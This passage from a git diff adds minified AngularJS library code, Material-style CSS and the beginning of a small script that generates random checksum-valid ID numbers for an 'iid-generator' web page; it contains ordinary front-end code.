e.$parsers.push(a); + }, + email: function (a, c, d, e, f, g) { + Ab(a, c, d, e, f, g); + a = function (a) { + return ua(e, "email", e.$isEmpty(a) || We.test(a), a); + }; + e.$formatters.push(a); + e.$parsers.push(a); + }, + radio: function (a, c, d, e) { + F(d.name) && c.attr("name", ib()); + c.on("click", function () { + c[0].checked && + a.$apply(function () { + e.$setViewValue(d.value); + }); + }); + e.$render = function () { + c[0].checked = d.value == e.$viewValue; + }; + d.$observe("value", e.$render); + }, + checkbox: function (a, c, d, e) { + var f = d.ngTrueValue, + g = d.ngFalseValue; + G(f) || (f = !0); + G(g) || (g = !1); + c.on("click", function () { + a.$apply(function () { + e.$setViewValue(c[0].checked); + }); + }); + e.$render = function () { + c[0].checked = e.$viewValue; + }; + e.$isEmpty = function (a) { + return a !== f; + }; + e.$formatters.push(function (a) { + return a === f; + }); + e.$parsers.push(function (a) { + return a ? f : g; + }); + }, + hidden: v, + button: v, + submit: v, + reset: v, + file: v, + }, + Ye = ["badInput"], + hc = [ + "$browser", + "$sniffer", + function (a, c) { + return { + restrict: "E", + require: "?ngModel", + link: function (d, e, f, g) { + g && (Rc[x(f.type)] || Rc.text)(d, e, f, g, c, a); + }, + }; + }, + ], + wb = "ng-valid", + xb = "ng-invalid", + Ra = "ng-pristine", + zb = "ng-dirty", + Ze = [ + "$scope", + "$exceptionHandler", + "$attrs", + "$element", + "$parse", + "$animate", + function (a, c, d, e, f, g) { + function h(a, c) { + c = c ? "-" + nb(c, "-") : ""; + g.removeClass(e, (a ? xb : wb) + c); + g.addClass(e, (a ? wb : xb) + c); + } + this.$modelValue = this.$viewValue = Number.NaN; + this.$parsers = []; + this.$formatters = []; + this.$viewChangeListeners = []; + this.$pristine = !0; + this.$dirty = !1; + this.$valid = !0; + this.$invalid = !1; + this.$name = d.name; + var k = f(d.ngModel), + m = k.assign; + if (!m) throw z("ngModel")("nonassign", d.ngModel, ia(e)); + this.$render = v; + this.$isEmpty = function (a) { + return F(a) || "" === a || null === a || a !== a; + }; + var l = e.inheritedData("$formController") || yb, + n = 0, + q = (this.$error = {}); + e.addClass(Ra); + h(!0); + this.$setValidity = function (a, c) { + q[a] !== !c && + (c + ? (q[a] && n--, + n || (h(!0), (this.$valid = !0), (this.$invalid = !1))) + : (h(!1), (this.$invalid = !0), (this.$valid = !1), n++), + (q[a] = !c), + h(c, a), + l.$setValidity(a, c, this)); + }; + this.$setPristine = function () { + this.$dirty = !1; + this.$pristine = !0; + g.removeClass(e, zb); + g.addClass(e, Ra); + }; + this.$setViewValue = function (d) { + this.$viewValue = d; + this.$pristine && + ((this.$dirty = !0), + (this.$pristine = !1), + g.removeClass(e, Ra), + g.addClass(e, zb), + l.$setDirty()); + r(this.$parsers, function (a) { + d = a(d); + }); + this.$modelValue !== d && + ((this.$modelValue = d), + m(a, d), + r(this.$viewChangeListeners, function (a) { + try { + a(); + } catch (d) { + c(d); + } + })); + }; + var p = this; + a.$watch(function () { + var c = k(a); + if (p.$modelValue !== c) { + var d = p.$formatters, + e = d.length; + for (p.$modelValue = c; e--; ) c = d[e](c); + p.$viewValue !== c && ((p.$viewValue = c), p.$render()); + } + return c; + }); + }, + ], + Fd = function () { + return { + require: ["ngModel", "^?form"], + controller: Ze, + link: function (a, c, d, e) { + var f = e[0], + g = e[1] || yb; + g.$addControl(f); + a.$on("$destroy", function () { + g.$removeControl(f); + }); + }, + }; + }, + Hd = aa({ + require: "ngModel", + link: function (a, c, d, e) { + e.$viewChangeListeners.push(function () { + a.$eval(d.ngChange); + }); + }, + }), + ic = function () { + return { + require: "?ngModel", + link: function (a, c, d, e) { + if (e) { + d.required = !0; + var f = function (a) { + if (d.required && e.$isEmpty(a)) e.$setValidity("required", !1); + else return e.$setValidity("required", !0), a; + }; + e.$formatters.push(f); + e.$parsers.unshift(f); + d.$observe("required", function () { + f(e.$viewValue); + }); + } + }, + }; + }, + Gd = function () { + return { + require: "ngModel", + link: function (a, c, d, e) { + var f = + ((a = /\/(.*)\//.exec(d.ngList)) && RegExp(a[1])) || + d.ngList || + ","; + e.$parsers.push(function (a) { + if (!F(a)) { + var c = []; + a && + r(a.split(f), function (a) { + a && c.push($(a)); + }); + return c; + } + }); + e.$formatters.push(function (a) { + return L(a) ? a.join(", ") : u; + }); + e.$isEmpty = function (a) { + return !a || !a.length; + }; + }, + }; + }, + $e = /^(true|false|\d+)$/, + Id = function () { + return { + priority: 100, + compile: function (a, c) { + return $e.test(c.ngValue) + ? function (a, c, f) { + f.$set("value", a.$eval(f.ngValue)); + } + : function (a, c, f) { + a.$watch(f.ngValue, function (a) { + f.$set("value", a); + }); + }; + }, + }; + }, + id = Aa({ + compile: function (a) { + a.addClass("ng-binding"); + return function (a, d, e) { + d.data("$binding", e.ngBind); + a.$watch(e.ngBind, function (a) { + d.text(a == u ? "" : a); + }); + }; + }, + }), + kd = [ + "$interpolate", + function (a) { + return function (c, d, e) { + c = a(d.attr(e.$attr.ngBindTemplate)); + d.addClass("ng-binding").data("$binding", c); + e.$observe("ngBindTemplate", function (a) { + d.text(a); + }); + }; + }, + ], + jd = [ + "$sce", + "$parse", + function (a, c) { + return { + compile: function (d) { + d.addClass("ng-binding"); + return function (d, f, g) { + f.data("$binding", g.ngBindHtml); + var h = c(g.ngBindHtml); + d.$watch( + function () { + return (h(d) || "").toString(); + }, + function (c) { + f.html(a.getTrustedHtml(h(d)) || ""); + } + ); + }; + }, + }; + }, + ], + ld = Wb("", !0), + nd = Wb("Odd", 0), + md = Wb("Even", 1), + od = Aa({ + compile: function (a, c) { + c.$set("ngCloak", u); + a.removeClass("ng-cloak"); + }, + }), + pd = [ + function () { + return { scope: !0, controller: "@", priority: 500 }; + }, + ], + jc = {}, + af = { blur: !0, focus: !0 }; + r( + "click dblclick mousedown mouseup mouseover mouseout mousemove mouseenter mouseleave keydown keyup keypress submit focus blur copy cut paste".split( + " " + ), + function (a) { + var c = qa("ng-" + a); + jc[c] = [ + "$parse", + "$rootScope", + function (d, e) { + return { + compile: function (f, g) { + var h = d(g[c], !0); + return function (c, d) { + d.on(a, function (d) { + var f = function () { + h(c, { $event: d }); + }; + af[a] && e.$$phase ? c.$evalAsync(f) : c.$apply(f); + }); + }; + }, + }; + }, + ]; + } + ); + var sd = [ + "$animate", + function (a) { + return { + transclude: "element", + priority: 600, + terminal: !0, + restrict: "A", + $$tlb: !0, + link: function (c, d, e, f, g) { + var h, k, m; + c.$watch(e.ngIf, function (f) { + Wa(f) + ? k || + ((k = c.$new()), + g(k, function (c) { + c[c.length++] = X.createComment( + " end ngIf: " + e.ngIf + " " + ); + h = { clone: c }; + a.enter(c, d.parent(), d); + })) + : (m && (m.remove(), (m = null)), + k && (k.$destroy(), (k = null)), + h && + ((m = Eb(h.clone)), + a.leave(m, function () { + m = null; + }), + (h = null))); + }); + }, + }; + }, + ], + td = [ + "$http", + "$templateCache", + "$anchorScroll", + "$animate", + "$sce", + function (a, c, d, e, f) { + return { + restrict: "ECA", + priority: 400, + terminal: !0, + transclude: "element", + controller: Xa.noop, + compile: function (g, h) { + var k = h.ngInclude || h.src, + m = h.onload || "", + l = h.autoscroll; + return function (g, h, p, r, J) { + var w = 0, + t, + y, + u, + B = function () { + y && (y.remove(), (y = null)); + t && (t.$destroy(), (t = null)); + u && + (e.leave(u, function () { + y = null; + }), + (y = u), + (u = null)); + }; + g.$watch(f.parseAsResourceUrl(k), function (f) { + var k = function () { + !D(l) || (l && !g.$eval(l)) || d(); + }, + p = ++w; + f + ? (a + .get(f, { cache: c }) + .success(function (a) { + if (p === w) { + var c = g.$new(); + r.template = a; + a = J(c, function (a) { + B(); + e.enter(a, null, h, k); + }); + t = c; + u = a; + t.$emit("$includeContentLoaded"); + g.$eval(m); + } + }) + .error(function () { + p === w && B(); + }), + g.$emit("$includeContentRequested")) + : (B(), (r.template = null)); + }); + }; + }, + }; + }, + ], + Jd = [ + "$compile", + function (a) { + return { + restrict: "ECA", + priority: -400, + require: "ngInclude", + link: function (c, d, e, f) { + d.html(f.template); + a(d.contents())(c); + }, + }; + }, + ], + ud = Aa({ + priority: 450, + compile: function () { + return { + pre: function (a, c, d) { + a.$eval(d.ngInit); + }, + }; + }, + }), + vd = Aa({ terminal: !0, priority: 1e3 }), + wd = [ + "$locale", + "$interpolate", + function (a, c) { + var d = /{}/g; + return { + restrict: "EA", + link: function (e, f, g) { + var h = g.count, + k = g.$attr.when && f.attr(g.$attr.when), + m = g.offset || 0, + l = e.$eval(k) || {}, + n = {}, + q = c.startSymbol(), + p = c.endSymbol(), + s = /^when(Minus)?(.+)$/; + r(g, function (a, c) { + s.test(c) && + (l[x(c.replace("when", "").replace("Minus", "-"))] = f.attr( + g.$attr[c] + )); + }); + r(l, function (a, e) { + n[e] = c(a.replace(d, q + h + "-" + m + p)); + }); + e.$watch( + function () { + var c = parseFloat(e.$eval(h)); + if (isNaN(c)) return ""; + c in l || (c = a.pluralCat(c - m)); + return n[c](e, f, !0); + }, + function (a) { + f.text(a); + } + ); + }, + }; + }, + ], + xd = [ + "$parse", + "$animate", + function (a, c) { + var d = z("ngRepeat"); + return { + transclude: "element", + priority: 1e3, + terminal: !0, + $$tlb: !0, + link: function (e, f, g, h, k) { + var m = g.ngRepeat, + l = m.match( + /^\s*([\s\S]+?)\s+in\s+([\s\S]+?)(?:\s+track\s+by\s+([\s\S]+?))?\s*$/ + ), + n, + q, + p, + s, + u, + w, + t = { $id: Na }; + if (!l) throw d("iexp", m); + g = l[1]; + h = l[2]; + (l = l[3]) + ? ((n = a(l)), + (q = function (a, c, d) { + w && (t[w] = a); + t[u] = c; + t.$index = d; + return n(e, t); + })) + : ((p = function (a, c) { + return Na(c); + }), + (s = function (a) { + return a; + })); + l = g.match(/^(?:([\$\w]+)|\(([\$\w]+)\s*,\s*([\$\w]+)\))$/); + if (!l) throw d("iidexp", g); + u = l[3] || l[1]; + w = l[2]; + var y = {}; + e.$watchCollection(h, function (a) { + var g, + h, + l = f[0], + n, + t = {}, + D, + C, + I, + x, + G, + v, + z, + F = []; + if (Sa(a)) (v = a), (G = q || p); + else { + G = q || s; + v = []; + for (I in a) + a.hasOwnProperty(I) && "$" != I.charAt(0) && v.push(I); + v.sort(); + } + D = v.length; + h = F.length = v.length; + for (g = 0; g < h; g++) + if ( + ((I = a === v ? g : v[g]), + (x = a[I]), + (n = G(I, x, g)), + Ea(n, "`track by` id"), + y.hasOwnProperty(n)) + ) + (z = y[n]), delete y[n], (t[n] = z), (F[g] = z); + else { + if (t.hasOwnProperty(n)) + throw ( + (r(F, function (a) { + a && a.scope && (y[a.id] = a); + }), + d("dupes", m, n, oa(x))) + ); + F[g] = { id: n }; + t[n] = !1; + } + for (I in y) + y.hasOwnProperty(I) && + ((z = y[I]), + (g = Eb(z.clone)), + c.leave(g), + r(g, function (a) { + a.$$NG_REMOVED = !0; + }), + z.scope.$destroy()); + g = 0; + for (h = v.length; g < h; g++) { + I = a === v ? g : v[g]; + x = a[I]; + z = F[g]; + F[g - 1] && (l = F[g - 1].clone[F[g - 1].clone.length - 1]); + if (z.scope) { + C = z.scope; + n = l; + do n = n.nextSibling; + while (n && n.$$NG_REMOVED); + z.clone[0] != n && c.move(Eb(z.clone), null, A(l)); + l = z.clone[z.clone.length - 1]; + } else C = e.$new(); + C[u] = x; + w && (C[w] = I); + C.$index = g; + C.$first = 0 === g; + C.$last = g === D - 1; + C.$middle = !(C.$first || C.$last); + C.$odd = !(C.$even = 0 === (g & 1)); + z.scope || + k(C, function (a) { + a[a.length++] = X.createComment( + " end ngRepeat: " + m + " " + ); + c.enter(a, null, A(l)); + l = a; + z.scope = C; + z.clone = a; + t[z.id] = z; + }); + } + y = t; + }); + }, + }; + }, + ], + yd = [ + "$animate", + function (a) { + return function (c, d, e) { + c.$watch(e.ngShow, function (c) { + a[Wa(c) ? "removeClass" : "addClass"](d, "ng-hide"); + }); + }; + }, + ], + rd = [ + "$animate", + function (a) { + return function (c, d, e) { + c.$watch(e.ngHide, function (c) { + a[Wa(c) ? "addClass" : "removeClass"](d, "ng-hide"); + }); + }; + }, + ], + zd = Aa(function (a, c, d) { + a.$watch( + d.ngStyle, + function (a, d) { + d && + a !== d && + r(d, function (a, d) { + c.css(d, ""); + }); + a && c.css(a); + }, + !0 + ); + }), + Ad = [ + "$animate", + function (a) { + return { + restrict: "EA", + require: "ngSwitch", + controller: [ + "$scope", + function () { + this.cases = {}; + }, + ], + link: function (c, d, e, f) { + var g = [], + h = [], + k = [], + m = []; + c.$watch(e.ngSwitch || e.on, function (d) { + var n, q; + n = 0; + for (q = k.length; n < q; ++n) k[n].remove(); + n = k.length = 0; + for (q = m.length; n < q; ++n) { + var p = h[n]; + m[n].$destroy(); + k[n] = p; + a.leave(p, function () { + k.splice(n, 1); + }); + } + h.length = 0; + m.length = 0; + if ((g = f.cases["!" + d] || f.cases["?"])) + c.$eval(e.change), + r(g, function (d) { + var e = c.$new(); + m.push(e); + d.transclude(e, function (c) { + var e = d.element; + h.push(c); + a.enter(c, e.parent(), e); + }); + }); + }); + }, + }; + }, + ], + Bd = Aa({ + transclude: "element", + priority: 800, + require: "^ngSwitch", + link: function (a, c, d, e, f) { + e.cases["!" + d.ngSwitchWhen] = e.cases["!" + d.ngSwitchWhen] || []; + e.cases["!" + d.ngSwitchWhen].push({ transclude: f, element: c }); + }, + }), + Cd = Aa({ + transclude: "element", + priority: 800, + require: "^ngSwitch", + link: function (a, c, d, e, f) { + e.cases["?"] = e.cases["?"] || []; + e.cases["?"].push({ transclude: f, element: c }); + }, + }), + Ed = Aa({ + link: function (a, c, d, e, f) { + if (!f) throw z("ngTransclude")("orphan", ia(c)); + f(function (a) { + c.empty(); + c.append(a); + }); + }, + }), + ed = [ + "$templateCache", + function (a) { + return { + restrict: "E", + terminal: !0, + compile: function (c, d) { + "text/ng-template" == d.type && a.put(d.id, c[0].text); + }, + }; + }, + ], + bf = z("ngOptions"), + Dd = aa({ terminal: !0 }), + fd = [ + "$compile", + "$parse", + function (a, c) { + var d = + /^\s*([\s\S]+?)(?:\s+as\s+([\s\S]+?))?(?:\s+group\s+by\s+([\s\S]+?))?\s+for\s+(?:([\$\w][\$\w]*)|(?:\(\s*([\$\w][\$\w]*)\s*,\s*([\$\w][\$\w]*)\s*\)))\s+in\s+([\s\S]+?)(?:\s+track\s+by\s+([\s\S]+?))?$/, + e = { $setViewValue: v }; + return { + restrict: "E", + require: ["select", "?ngModel"], + controller: [ + "$element", + "$scope", + "$attrs", + function (a, c, d) { + var k = this, + m = {}, + l = e, + n; + k.databound = d.ngModel; + k.init = function (a, c, d) { + l = a; + n = d; + }; + k.addOption = function (c) { + Ea(c, '"option value"'); + m[c] = !0; + l.$viewValue == c && (a.val(c), n.parent() && n.remove()); + }; + k.removeOption = function (a) { + this.hasOption(a) && + (delete m[a], + l.$viewValue == a && this.renderUnknownOption(a)); + }; + k.renderUnknownOption = function (c) { + c = "? " + Na(c) + " ?"; + n.val(c); + a.prepend(n); + a.val(c); + n.prop("selected", !0); + }; + k.hasOption = function (a) { + return m.hasOwnProperty(a); + }; + c.$on("$destroy", function () { + k.renderUnknownOption = v; + }); + }, + ], + link: function (e, g, h, k) { + function m(a, c, d, e) { + d.$render = function () { + var a = d.$viewValue; + e.hasOption(a) + ? (x.parent() && x.remove(), + c.val(a), + "" === a && w.prop("selected", !0)) + : F(a) && w + ? c.val("") + : e.renderUnknownOption(a); + }; + c.on("change", function () { + a.$apply(function () { + x.parent() && x.remove(); + d.$setViewValue(c.val()); + }); + }); + } + function l(a, c, d) { + var e; + d.$render = function () { + var a = new db(d.$viewValue); + r(c.find("option"), function (c) { + c.selected = D(a.get(c.value)); + }); + }; + a.$watch(function () { + Ca(e, d.$viewValue) || ((e = ha(d.$viewValue)), d.$render()); + }); + c.on("change", function () { + a.$apply(function () { + var a = []; + r(c.find("option"), function (c) { + c.selected && a.push(c.value); + }); + d.$setViewValue(a); + }); + }); + } + function n(e, f, g) { + function h() { + var a = { "": [] }, + c = [""], + d, + k, + s, + u, + v; + s = g.$modelValue; + u = A(e) || []; + var F = n ? Xb(u) : u, + G, + Q, + C; + Q = {}; + C = !1; + if (p) + if (((k = g.$modelValue), w && L(k))) + for (C = new db([]), d = {}, v = 0; v < k.length; v++) + (d[m] = k[v]), C.put(w(e, d), k[v]); + else C = new db(k); + v = C; + var E, K; + for (C = 0; (G = F.length), C < G; C++) { + k = C; + if (n) { + k = F[C]; + if ("$" === k.charAt(0)) continue; + Q[n] = k; + } + Q[m] = u[k]; + d = r(e, Q) || ""; + (k = a[d]) || ((k = a[d] = []), c.push(d)); + p + ? (d = D(v.remove(w ? w(e, Q) : x(e, Q)))) + : (w + ? ((d = {}), (d[m] = s), (d = w(e, d) === w(e, Q))) + : (d = s === x(e, Q)), + (v = v || d)); + E = l(e, Q); + E = D(E) ? E : ""; + k.push({ + id: w ? w(e, Q) : n ? F[C] : C, + label: E, + selected: d, + }); + } + p || + (z || null === s + ? a[""].unshift({ id: "", label: "", selected: !v }) + : v || a[""].unshift({ id: "?", label: "", selected: !0 })); + Q = 0; + for (F = c.length; Q < F; Q++) { + d = c[Q]; + k = a[d]; + B.length <= Q + ? ((s = { + element: y.clone().attr("label", d), + label: k.label, + }), + (u = [s]), + B.push(u), + f.append(s.element)) + : ((u = B[Q]), + (s = u[0]), + s.label != d && s.element.attr("label", (s.label = d))); + E = null; + C = 0; + for (G = k.length; C < G; C++) + (d = k[C]), + (v = u[C + 1]) + ? ((E = v.element), + v.label !== d.label && + (E.text((v.label = d.label)), + E.prop("label", v.label)), + v.id !== d.id && E.val((v.id = d.id)), + E[0].selected !== d.selected && + (E.prop("selected", (v.selected = d.selected)), + R && E.prop("selected", v.selected))) + : ("" === d.id && z + ? (K = z) + : (K = t.clone()) + .val(d.id) + .prop("selected", d.selected) + .attr("selected", d.selected) + .prop("label", d.label) + .text(d.label), + u.push({ + element: K, + label: d.label, + id: d.id, + selected: d.selected, + }), + q.addOption(d.label, K), + E ? E.after(K) : s.element.append(K), + (E = K)); + for (C++; u.length > C; ) + (d = u.pop()), q.removeOption(d.label), d.element.remove(); + } + for (; B.length > Q; ) B.pop()[0].element.remove(); + } + var k; + if (!(k = s.match(d))) throw bf("iexp", s, ia(f)); + var l = c(k[2] || k[1]), + m = k[4] || k[6], + n = k[5], + r = c(k[3] || ""), + x = c(k[2] ? k[1] : m), + A = c(k[7]), + w = k[8] ? c(k[8]) : null, + B = [[{ element: f, label: "" }]]; + z && (a(z)(e), z.removeClass("ng-scope"), z.remove()); + f.empty(); + f.on("change", function () { + e.$apply(function () { + var a, + c = A(e) || [], + d = {}, + k, + l, + q, + r, + s, + t, + v; + if (p) + for (l = [], r = 0, t = B.length; r < t; r++) + for (a = B[r], q = 1, s = a.length; q < s; q++) { + if ((k = a[q].element)[0].selected) { + k = k.val(); + n && (d[n] = k); + if (w) + for ( + v = 0; + v < c.length && ((d[m] = c[v]), w(e, d) != k); + v++ + ); + else d[m] = c[k]; + l.push(x(e, d)); + } + } + else if (((k = f.val()), "?" == k)) l = u; + else if ("" === k) l = null; + else if (w) + for (v = 0; v < c.length; v++) { + if (((d[m] = c[v]), w(e, d) == k)) { + l = x(e, d); + break; + } + } + else (d[m] = c[k]), n && (d[n] = k), (l = x(e, d)); + g.$setViewValue(l); + h(); + }); + }); + g.$render = h; + e.$watchCollection(A, h); + e.$watchCollection(function () { + var a = {}, + c = A(e); + if (c) { + for (var d = Array(c.length), f = 0, g = c.length; f < g; f++) + (a[m] = c[f]), (d[f] = l(e, a)); + return d; + } + }, h); + p && + e.$watchCollection(function () { + return g.$modelValue; + }, h); + } + if (k[1]) { + var q = k[0]; + k = k[1]; + var p = h.multiple, + s = h.ngOptions, + z = !1, + w, + t = A(X.createElement("option")), + y = A(X.createElement("optgroup")), + x = t.clone(); + h = 0; + for (var B = g.children(), v = B.length; h < v; h++) + if ("" === B[h].value) { + w = z = B.eq(h); + break; + } + q.init(k, z, x); + p && + (k.$isEmpty = function (a) { + return !a || 0 === a.length; + }); + s ? n(e, g, k) : p ? l(e, g, k) : m(e, g, k, q); + } + }, + }; + }, + ], + hd = [ + "$interpolate", + function (a) { + var c = { addOption: v, removeOption: v }; + return { + restrict: "E", + priority: 100, + compile: function (d, e) { + if (F(e.value)) { + var f = a(d.text(), !0); + f || e.$set("value", d.text()); + } + return function (a, d, e) { + var m = d.parent(), + l = + m.data("$selectController") || + m.parent().data("$selectController"); + l && l.databound ? d.prop("selected", !1) : (l = c); + f + ? a.$watch(f, function (a, c) { + e.$set("value", a); + a !== c && l.removeOption(c); + l.addOption(a); + }) + : l.addOption(e.value); + d.on("$destroy", function () { + l.removeOption(e.value); + }); + }; + }, + }; + }, + ], + gd = aa({ restrict: "E", terminal: !0 }); + W.angular.bootstrap + ? console.log("WARNING: Tried to load angular more than once.") + : ((Fa = W.jQuery) && Fa.fn.on + ? ((A = Fa), + E(Fa.fn, { + scope: Oa.scope, + isolateScope: Oa.isolateScope, + controller: Oa.controller, + injector: Oa.injector, + inheritedData: Oa.inheritedData, + }), + Gb("remove", !0, !0, !1), + Gb("empty", !1, !1, !1), + Gb("html", !1, !1, !0)) + : (A = S), + (Xa.element = A), + Zc(Xa), + A(X).ready(function () { + Wc(X, dc); + })); +})(window, document); +!window.angular.$$csp() && + window.angular + .element(document) + .find("head") + .prepend( + '' + ); diff --git a/assets/pages/iid-generator/idd.css b/assets/pages/iid-generator/idd.css new file mode 100644 index 000000000..37c5811c7 --- /dev/null +++ b/assets/pages/iid-generator/idd.css @@ -0,0 +1,281 @@ +body { + font-family: var( + --pure-material-font, + "Roboto", + "Segoe UI", + BlinkMacSystemFont, + system-ui, + -apple-system + ); + + align-content: center; +} +.container { + max-width: 300px; + margin: 0 auto; + text-align: center; +} +/* button */ +.pure-material-button-contained { + position: relative; + display: inline-block; + box-sizing: border-box; + margin: 25px 0px; + border: none; + border-radius: 4px; + padding: 0 16px; + min-width: 64px; + height: 36px; + vertical-align: middle; + text-align: center; + text-overflow: ellipsis; + text-transform: uppercase; + color: rgb(var(--pure-material-onprimary-rgb, 255, 255, 255)); + background-color: rgb(var(--pure-material-primary-rgb, 33, 150, 243)); + box-shadow: 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 2px 2px 0 rgba(0, 0, 0, 0.14), + 0 1px 5px 0 rgba(0, 0, 0, 0.12); + + font-size: 14px; + font-weight: 500; + line-height: 36px; + overflow: hidden; + outline: none; + cursor: pointer; + transition: box-shadow 0.2s; +} + +.pure-material-button-contained::-moz-focus-inner { + border: none; +} + +.pure-material-textfield-outlined { + --pure-material-safari-helper1: rgb( + var(--pure-material-primary-rgb, 33, 150, 243) + ); + position: relative; + display: inline-block; + padding-top: 6px; + font-size: 26px; + line-height: 1.5; + overflow: hidden; +} + +/* Input, Textarea */ +.pure-material-textfield-outlined > input, +.pure-material-textfield-outlined > textarea { + box-sizing: border-box; + margin: 0; + border: solid 1px; /* Safari */ + border-color: rgba(var(--pure-material-onsurface-rgb, 0, 0, 0), 0.6); + border-top-color: transparent; + border-radius: 4px; + padding: 15px 13px 15px; + width: 100%; + height: inherit; + text-align: center; + color: rgba(var(--pure-material-onsurface-rgb, 0, 0, 0), 0.87); + background-color: transparent; + box-shadow: none; /* Firefox */ + font-family: inherit; + font-size: inherit; + line-height: inherit; + caret-color: rgb(var(--pure-material-primary-rgb, 33, 150, 243)); + transition: border 0.2s, box-shadow 0.2s; +} + +/* Span */ +.pure-material-textfield-outlined > input + span, +.pure-material-textfield-outlined > textarea + span { + position: absolute; + top: 0; + left: 0; + display: flex; + border-color: rgba(var(--pure-material-onsurface-rgb, 0, 0, 0), 0.6); + width: 100%; + max-height: 100%; + color: rgba(var(--pure-material-onsurface-rgb, 0, 0, 0), 0.6); + font-size: 75%; + line-height: 15px; + cursor: text; + transition: color 0.2s, font-size 0.2s, line-height 0.2s; +} + +/* Corners */ +.pure-material-textfield-outlined > input + span::before, +.pure-material-textfield-outlined > input + span::after, +.pure-material-textfield-outlined > textarea + span::before, +.pure-material-textfield-outlined > textarea + span::after { + content: ""; + display: block; + box-sizing: border-box; + margin-top: 6px; + border-top: solid 1px; + border-top-color: rgba(var(--pure-material-onsurface-rgb, 0, 0, 0), 0.6); + min-width: 10px; + height: 8px; + pointer-events: none; + box-shadow: inset 0 1px transparent; + transition: border-color 0.2s, box-shadow 0.2s; +} + +.pure-material-textfield-outlined > input + span::before, +.pure-material-textfield-outlined > textarea + span::before { + margin-right: 4px; + border-left: solid 1px transparent; + border-radius: 4px 0; +} + +.pure-material-textfield-outlined > input + span::after, +.pure-material-textfield-outlined > textarea + span::after { + flex-grow: 1; + margin-left: 4px; + border-right: solid 1px transparent; + border-radius: 0 4px; +} + +/* Hover */ +.pure-material-textfield-outlined:hover > input, +.pure-material-textfield-outlined:hover > textarea { + border-color: rgba(var(--pure-material-onsurface-rgb, 0, 0, 0), 0.87); + border-top-color: transparent; +} + +.pure-material-textfield-outlined:hover > input + span::before, +.pure-material-textfield-outlined:hover > textarea + span::before, +.pure-material-textfield-outlined:hover > input + span::after, +.pure-material-textfield-outlined:hover > textarea + span::after { + border-top-color: rgba(var(--pure-material-onsurface-rgb, 0, 0, 0), 0.87); +} + +.pure-material-textfield-outlined:hover > input:not(:focus):placeholder-shown, +.pure-material-textfield-outlined:hover + > textarea:not(:focus):placeholder-shown { + border-color: rgba(var(--pure-material-onsurface-rgb, 0, 0, 0), 0.87); +} + +/* Placeholder-shown */ +.pure-material-textfield-outlined > input:not(:focus):placeholder-shown, +.pure-material-textfield-outlined > textarea:not(:focus):placeholder-shown { + border-top-color: rgba(var(--pure-material-onsurface-rgb, 0, 0, 0), 0.6); +} + +.pure-material-textfield-outlined > input:not(:focus):placeholder-shown + span, +.pure-material-textfield-outlined + > textarea:not(:focus):placeholder-shown + + span { + font-size: inherit; + line-height: 68px; +} + +.pure-material-textfield-outlined + > input:not(:focus):placeholder-shown + + span::before, +.pure-material-textfield-outlined + > textarea:not(:focus):placeholder-shown + + span::before, +.pure-material-textfield-outlined + > input:not(:focus):placeholder-shown + + span::after, +.pure-material-textfield-outlined + > textarea:not(:focus):placeholder-shown + + span::after { + border-top-color: transparent; +} + +/* Focus */ +.pure-material-textfield-outlined > input:focus, +.pure-material-textfield-outlined > textarea:focus { + border-color: rgb(var(--pure-material-primary-rgb, 33, 150, 243)); + border-top-color: transparent; + box-shadow: inset 1px 0 var(--pure-material-safari-helper1), + inset -1px 0 var(--pure-material-safari-helper1), + inset 0 -1px var(--pure-material-safari-helper1); + outline: none; +} + +.pure-material-textfield-outlined > input:focus + span, +.pure-material-textfield-outlined > textarea:focus + span { + /* color: rgb(var(--pure-material-primary-rgb, 33, 150, 243)); */ +} + +.pure-material-textfield-outlined > input:focus + span::before, +.pure-material-textfield-outlined > input:focus + span::after, +.pure-material-textfield-outlined > textarea:focus + span::before, +.pure-material-textfield-outlined > textarea:focus + span::after { + border-top-color: var(--pure-material-safari-helper1) !important; + box-shadow: inset 0 1px var(--pure-material-safari-helper1); +} + +/* Disabled */ +.pure-material-textfield-outlined > input:disabled, +.pure-material-textfield-outlined > input:disabled + span, +.pure-material-textfield-outlined > textarea:disabled, +.pure-material-textfield-outlined > textarea:disabled + span { + border-color: rgba( + var(--pure-material-onsurface-rgb, 0, 0, 0), + 0.38 + ) !important; + border-top-color: transparent !important; + color: rgba(var(--pure-material-onsurface-rgb, 0, 0, 0), 0.38); + pointer-events: none; +} + +.pure-material-textfield-outlined > input:disabled + span::before, +.pure-material-textfield-outlined > input:disabled + span::after, +.pure-material-textfield-outlined > textarea:disabled + span::before, +.pure-material-textfield-outlined > textarea:disabled + span::after { + border-top-color: rgba( + var(--pure-material-onsurface-rgb, 0, 0, 0), + 0.38 + ) !important; +} + +.pure-material-textfield-outlined > input:disabled:placeholder-shown, +.pure-material-textfield-outlined > input:disabled:placeholder-shown + span, +.pure-material-textfield-outlined > textarea:disabled:placeholder-shown, +.pure-material-textfield-outlined > textarea:disabled:placeholder-shown + span { + border-top-color: rgba( + var(--pure-material-onsurface-rgb, 0, 0, 0), + 0.38 + ) !important; +} + +.pure-material-textfield-outlined + > input:disabled:placeholder-shown + + span::before, +.pure-material-textfield-outlined + > input:disabled:placeholder-shown + + span::after, +.pure-material-textfield-outlined + > textarea:disabled:placeholder-shown + + span::before, +.pure-material-textfield-outlined + > textarea:disabled:placeholder-shown + + span::after { + border-top-color: transparent !important; +} + +/* Faster transition in Safari for less noticable fractional font-size issue */ +@media not all and (min-resolution: 0.001dpcm) { + @supports (-webkit-appearance: none) { + .pure-material-textfield-outlined > input, + .pure-material-textfield-outlined > input + span, + .pure-material-textfield-outlined > textarea, + .pure-material-textfield-outlined > textarea + span, + .pure-material-textfield-outlined > input + span::before, + .pure-material-textfield-outlined > input + span::after, + .pure-material-textfield-outlined > textarea + span::before, + .pure-material-textfield-outlined > textarea + span::after { + transition-duration: 0.1s; + } + } +} + +.status.valid { + color: #006400; + font-weight: bold; +} +.status.invalid { + color: #8b0000; + font-weight: bold; +} diff --git a/assets/pages/iid-generator/idd.js b/assets/pages/iid-generator/idd.js new file mode 100644 index 000000000..f0b404385 --- /dev/null +++ b/assets/pages/iid-generator/idd.js @@ -0,0 +1,39 @@ +'use strict'; +function mainCtrl(a) { + function b(a, b) { + return Math.floor(Math.random() * (b - a + 1)) + a; + } + function c(a, b) { + var c = Number(a) * ((b % 2) + 1); + return c > 9 ? (c -= 9) : c; + } + function d() { + for (var a, d = '', e = 0, f = 0; 8 > f; f++) + (a = b(2 > f ? 2 : 0, 2 > f ? 3 : 9)), + (d += a.toString()), + (e += c(a, f)); + return d + (10 - (e % 10)).toString(); + } + function e(a) { + var b = 